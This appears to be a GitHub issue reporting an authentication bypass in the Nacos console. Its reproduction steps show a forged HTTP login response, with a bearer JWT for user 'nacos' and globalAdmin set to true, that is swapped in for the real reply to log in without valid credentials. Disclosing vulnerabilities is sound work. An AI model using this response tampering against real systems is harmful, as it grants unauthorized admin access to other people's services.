A vulnerability was found that could cause any existing user to log in

[L0ading-x]

Describe the bug
A clear and concise description of what the bug is.
A vulnerability was found that could cause any existing user to log in
Expected behavior
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Acutally behavior
A clear and concise description of what you actually to happen.

How to Reproduce
Steps to reproduce the behavior:

1. Download the latest version of NacOS
2. Access prompt page
   
3. Enter any user name and password，Click login to capture packets
   Change the returned package to the following
   
   
   HTTP/1.1 200
   Server: nginx/1.19.6
   Date: Sun, 11 Apr 2021 01:48:17 GMT
   Content-Type: application/json;charset=UTF-8
   Connection: close
   Vary: Origin
   Vary: Access-Control-Request-Method
   Vary: Access-Control-Request-Headers
   Access-Control-Allow-Origin: http://47.93.46.78:9090
   Access-Control-Allow-Credentials: true
   Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
   Content-Length: 162

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA","tokenTtl":18000,"globalAdmin":true}
4. We can see the successful login

Desktop (please complete the following information):

• OS: [e.g. Centos]
• Version [All]
• Module [e.g. naming/config]
• SDK [e.g. original, spring-cloud-alibaba-nacos, dubbo]

Additional context
Add any other context about the problem here.